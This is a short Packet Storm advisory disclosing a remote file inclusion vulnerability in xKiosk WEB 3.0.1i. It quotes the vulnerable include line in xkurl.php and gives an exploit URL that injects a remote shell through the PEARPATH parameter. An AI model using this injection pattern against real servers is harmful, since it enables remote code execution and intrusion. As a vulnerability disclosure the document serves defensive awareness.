xKiosk version 3.0.1i suffers from a remote file inclusion vulnerability in xkurl.php.
c730a769e6aa6577ada32ef88a2a8cac8f405f557f8c88eaaaff6a0170245c91xKiosk WEB <= (PEARPATH) Remote File Include Vulnerability
Script : xKiosk WEB
Version : 3.0.1i
Download : http://xkiosk.net/xkiosk.3.0.1j.web.zip
AUTHOR : BorN To K!LL
Vuln Code :
include($PEARPATH.'Client.php');
3xpl0!T :
[p4th]/system/funcs/xkurl.php?PEARPATH=[-SHell-]
Greetings 2 :
str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy ..
BorN To K!LL <> GoLd_M = 4ever ... =P
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed